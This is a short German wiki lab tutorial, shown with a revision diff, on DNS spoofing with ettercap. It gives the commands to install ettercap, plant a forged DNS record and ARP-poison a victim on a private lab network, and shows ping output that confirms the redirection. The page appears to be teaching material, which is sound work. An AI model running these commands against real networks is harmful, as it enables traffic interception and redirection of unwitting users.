Dnspoof mit ettercap plugin: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 11: Zeile 11:
 
*ANGREIFER=10.0.10.101
 
*ANGREIFER=10.0.10.101
 
*ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
 
*ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
 +
=OPFER=
 +
*ping www.xinux.de
 +
PING www.xinux.de (10.0.10.101) 56(84) bytes of data.
 +
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
 +
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
 +
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms

Version vom 8. Juni 2021, 08:51 Uhr

Packet

  • apt-get install ettercap-graphical

OPFER

  • host -4 www.xinux.de
www.xinux.de has address 136.243.187.66

host anlegen

  • echo -e "www.xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns

ettercap mit dns plugin starten

  • OPFER=10.0.10.104
  • ANGREIFER=10.0.10.101
  • ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//

OPFER

  • ping www.xinux.de
PING www.xinux.de (10.0.10.101) 56(84) bytes of data.
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms